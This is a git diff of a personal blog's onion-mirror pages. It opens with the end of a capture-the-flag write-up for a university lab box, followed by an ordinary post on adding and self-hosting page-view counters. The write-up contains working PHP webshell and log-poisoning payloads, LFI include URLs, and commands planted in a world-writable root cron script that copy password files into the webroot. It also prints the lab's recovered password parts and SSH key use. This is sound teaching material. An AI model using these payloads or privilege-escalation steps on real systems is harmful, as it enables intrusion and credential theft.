    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/tuwien/page/1/index.html b/public-onion/tags/tuwien/page/1/index.html new file mode 100644 index 0000000..6904e76 --- /dev/null +++ b/public-onion/tags/tuwien/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tuwien/ + + + + + + diff --git a/public-onion/tags/vercount/index.html b/public-onion/tags/vercount/index.html new file mode 100644 index 0000000..0670d6f --- /dev/null +++ b/public-onion/tags/vercount/index.html @@ -0,0 +1,352 @@ + + + + + + + +Vercount | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) +

    +
    +
    +

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    +
    +
    October 18, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/vercount/index.xml b/public-onion/tags/vercount/index.xml new file mode 100644 index 0000000..51f6509 --- /dev/null +++ b/public-onion/tags/vercount/index.xml @@ -0,0 +1,355 @@ + + + + Vercount on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/vercount/ + Recent content in Vercount on AlipourIm journeys + Hugo -- 0.146.0 + en + Sat, 18 Oct 2025 10:45:00 +0000 + + + A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + Sat, 18 Oct 2025 10:45:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix. + I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/vercount/page/1/index.html b/public-onion/tags/vercount/page/1/index.html new file mode 100644 index 0000000..7af5204 --- /dev/null +++ b/public-onion/tags/vercount/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/vercount/ + + + + + + diff --git a/public-onion/tags/vpn/index.html b/public-onion/tags/vpn/index.html new file mode 100644 index 0000000..64d6f44 --- /dev/null +++ b/public-onion/tags/vpn/index.html @@ -0,0 +1,356 @@ + + + + + + + +VPN | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Stealth Trojan VPN Behind Cloudflare Guide +

    +
    +
    +

